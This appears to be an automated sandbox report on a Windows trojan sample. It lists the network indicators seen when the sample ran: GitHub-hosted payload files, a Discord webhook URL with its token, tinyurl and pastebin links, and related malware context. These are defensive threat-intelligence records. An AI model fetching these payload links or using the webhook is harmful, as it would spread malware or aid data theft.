https://discord.com	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txtBW	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt8	0%	Avira URL Cloud	safe
https://go.microsoft.co	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txtb/	0%	Avira URL Cloud	safe
https://discord.com/	0%	Avira URL Cloud	safe
http://discord.com	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC	0%	Avira URL Cloud	safe
https://raw.githubusercontent.comx	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://0.discor	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com	0%	Avira URL Cloud	safe
http://crl.m	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd	0%	Avira URL Cloud	safe
http://tinyurl.com/yk3s8ubp	0%	Avira URL Cloud	safe
http://tinyurl.com	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4	0%	Avira URL Cloud	safe
https://raw.githubusercontx	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com	0%	Avira URL Cloud	safe
http://raw.githubuserconte	0%	Avira URL Cloud	safe
https://0.discord.com/	0%	Avira URL Cloud	safe
https://pastebin.com/raw/sA04Mwk2	0%	Avira URL Cloud	safe
https://pastebin.com	0%	Avira URL Cloud	safe
http://pastebin.com	0%	Avira URL Cloud	safe
http://tinyurl.com/yeykydunx_D;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tinyurl.com	104.17.112.233	true	false	unknown
discord.com	162.159.136.232	true	true	unknown
raw.githubusercontent.com	185.199.109.133	true	true	unknown
pastebin.com	104.20.3.235	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	false	Avira URL Cloud: safe	unknown
http://tinyurl.com/yeykydun	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd	true	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/sA04Mwk2	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tinyurl.com/yeykydunX_	powershell.exe, 00000008.00000002.2316892210.0000025C2AC65000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.2863957456.0000029DE7082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2863957456.0000029DE71C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2836119518.000001D2E23A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com	powershell.exe, 00000006.00000002.2316667668.0000021F3CC33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3B50A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD745B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8BA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C5B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AEE2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3EA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D27D3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000D.00000002.2315481593.000001D2D2555000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.microsoft.co	powershell.exe, 00000008.00000002.3044497517.0000025C42CBF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000D.00000002.2315481593.000001D2D2555000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt8	powershell.exe, 00000014.00000002.2370072716.00000209B30A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txtBW	powershell.exe, 00000013.00000002.2401338467.000001775D86F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000006.00000002.2316667668.0000021F3C233000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD7F38000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2B968000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D31D3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/webhooks/128528293923992	powershell.exe, 00000006.00000002.2316667668.0000021F3CC33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8BA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C5B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3EA0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercont	powershell.exe, 00000006.00000002.2316667668.0000021F3C767000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD86B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267D2A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E08C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txtb/	powershell.exe, 0000000F.00000002.2368883289.0000020267510000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/	powershell.exe, 00000006.00000002.2316667668.0000021F3CD60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8CAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C6DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3FCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://discord.com	powershell.exe, 00000006.00000002.2316667668.0000021F3CC33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8BA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C5B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3EA0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.comx	powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC	powershell.exe, 0000000D.00000002.2315481593.000001D2D3A76000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000D.00000002.2315481593.000001D2D2555000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.m	powershell.exe, 00000008.00000002.3093370231.0000025C42F01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://0.discor	powershell.exe, 00000006.00000002.2316667668.0000021F3CD60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8CAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C6DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3FCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4	powershell.exe, 00000006.00000002.2316667668.0000021F3C809000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8758000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C189000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3A76000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com	powershell.exe, 00000006.00000002.2316667668.0000021F3C767000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3B48D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD86B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD73DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C0EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AE0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D26FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267D2A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.000002026761F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2368175917.000002553C74F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775D983000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E08C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2370072716.00000209B31AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3162111085.000001E381C22000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontx	powershell.exe, 00000008.00000002.2316892210.0000025C2C0EA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tinyurl.com/yk3s8ubp	powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.2863957456.0000029DE7082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2863957456.0000029DE71C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2836119518.000001D2E23A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tinyurl.com	powershell.exe, 00000006.00000002.2316667668.0000021F3C767000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3C6CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3C233000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3B2E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8369000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD7235000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD861D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD86B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C0EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2BD98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C04C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AC65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D393F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D2555000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D368B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com	powershell.exe, 00000006.00000002.2316667668.0000021F3C767000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD86B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C0EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.00000202679E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267D3C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2368175917.000002553C640000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775DD46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775D86F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E09E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2370072716.00000209B30A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3162111085.000001E381B16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://raw.githubuserconte	powershell.exe, 0000000F.00000002.2368883289.00000202679E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775DD46000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.2316667668.0000021F3B0C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD7011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AA41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D2331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.00000202672F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2368175917.000002553C411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775D652000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2370072716.00000209B2E82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3162111085.000001E3818F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.2316667668.0000021F3B0C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD7011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AA41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D2331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.00000202672F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2368175917.000002553C411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775D652000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2370072716.00000209B2E82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3162111085.000001E3818F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://0.discord.com/	powershell.exe, 00000006.00000002.2316667668.0000021F3CD60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8CAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C6DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3FCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pastebin.com	powershell.exe, 00000006.00000002.2316667668.0000021F3C6EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD863E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C06F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3960000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com	powershell.exe, 0000000D.00000002.2315481593.000001D2D393F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tinyurl.com/yeykydunx_D;	powershell.exe, 00000006.00000002.2316667668.0000021F3B2E5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
162.159.136.232	discord.com	United States	13335	CLOUDFLARENETUS	true
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	true
104.17.112.233	tinyurl.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1512072
Start date and time:	2024-09-16 19:23:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll (renamed file extension from exe to dll)
Original Sample Name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.exe
Detection:	MAL
Classification:	mal96.troj.evad.winDLL@45/26@4/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 89% Number of executed functions: 6 Number of non-executed functions: 2

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7660 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Simulations

Behavior and APIs

Time	Type	Description
13:24:08	API Interceptor	1x Sleep call for process: loaddll64.exe modified
13:24:08	API Interceptor	68559x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	SX8OLQP63C.exe	Get hash	malicious	VjW0rm, AsyncRAT, RATDispenser	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice-883973938.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	2024 12_59_31 a.m..js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
162.159.136.232	S23UhdW5DH.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	discord.com/administrator/index.php
185.199.109.133	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	185.199.109.133
	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	XWorm	Browse	185.199.108.133
	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	https://ascendtransportationllc665121.invisionapp.com/freehand/-4bO4Ia3X6	Get hash	malicious	HtmlDropper	Browse	185.199.111.133
	file.exe	Get hash	malicious	LummaC	Browse	185.199.108.133
	http://www.unlswap-v2.org/applications.html	Get hash	malicious	Unknown	Browse	185.199.111.133
	AX3-GUI-45.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	SecuriteInfo.com.Win64.MalwareX-gen.5183.18088.exe	Get hash	malicious	77Rootkit, AsyncRAT, DcRat	Browse	185.199.110.133
	VXLauncher.exe	Get hash	malicious	Empyrean, Discord Token Stealer	Browse	185.199.110.133
	Bootstrapper_1725724037599_1sly5.exe	Get hash	malicious	LummaC	Browse	185.199.111.133
discord.com	SecuriteInfo.com.Win32.MalwareX-gen.5836.3825.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232
	SecuriteInfo.com.Win32.MalwareX-gen.5836.3825.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	i1XtJZAi.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.128.233
	Wire-transaction073921.exe	Get hash	malicious	SilverRat	Browse	162.159.135.232
	mcbuilder.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	VXLauncher.exe	Get hash	malicious	Empyrean, Discord Token Stealer	Browse	162.159.135.232
	ied6tTdm.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	Nursultan.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Blank Grabber, Rags Stealer, Umbral Stealer, XWorm	Browse	162.159.135.232
	https://clicker.extremelyorange.com/	Get hash	malicious	Unknown	Browse	162.159.137.232
tinyurl.com	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	104.18.111.161
	balcao242609.vbs	Get hash	malicious	Unknown	Browse	104.18.111.161
	https://ibafhfg.r.af.d.sendibt2.com/tr/cl/ei-iIasDUfhajlha_L_PYwmEV0TXG-pmymM0mqP6wJ8jqUBnRevpHf8umV1Cxk0P5A0G7qvQoF39O-oYwRH3RCdSdtx1Y0b_2sg_iXOax_tFc1XZBC3EPtztmZF7qOstNWb2r9nSAsjPU6qj2F8Gg64Ba0d6xBjSEwUcsnsTYaQjAxsh52QvEBY0E7yDJkW8hVMf4Z-UgTv6SrNDoDPMdYdSSvXdtLzPyBKNyGRyOKbA6kM2yCjc-39_2GjmQrGc8IG-6EqDH4Ly9S8KIsA	Get hash	malicious	Unknown	Browse	104.17.112.233
	http://tinyurl.com/fresn30d39d	Get hash	malicious	Unknown	Browse	104.17.112.233
	https://tinyurl.com/NDCEurope	Get hash	malicious	Unknown	Browse	104.18.111.161
	https://sway.cloud.microsoft/lKpl4nBPezd0EfSe	Get hash	malicious	Unknown	Browse	104.17.112.233
	https://tinyurl.com/VYBGWANW	Get hash	malicious	Unknown	Browse	104.18.111.161
	crewssubaru doc.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.111.161
	https://tinyurl.com/3bfs8z6z	Get hash	malicious	HTMLPhisher	Browse	104.17.112.233
	https://tinyurl.com/EDODHTQN#em=heidi.wiebold@trapezegroup.com	Get hash	malicious	Phisher	Browse	104.17.112.233
pastebin.com	SecuriteInfo.com.Trojan.Siggen21.26995.26259.1562.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	OTPAuthenticator.wsf	Get hash	malicious	AsyncRAT	Browse	104.20.3.235
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.3.235
	PjkFCWhi.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.3.235
	client.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.20.3.235
	GKrKPXOkdF.zsb.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	bdsBbxwPyV.ena.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	fblXRRCHON.pos.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
	GmsiIZXruf.hos.dll	Get hash	malicious	Unknown	Browse	104.20.3.235

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.baidu.com/link?url=G4yg7p3qBwOR-KtuwYuiGkxR2eoCYb6asnJso95So3m&wd=Y2hyaXMud2FyZHxhR1ZwWkdWc1ltVnlaMjFoZEdWeWFXRnNjeTVqYjIwPXxRVFdETGNReVBUQWhCVEJzZGRzeGtYaEFFY0ZqUWg=&eqid=8b567acd019c02ad0000000666e1c23f	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	104.17.25.14
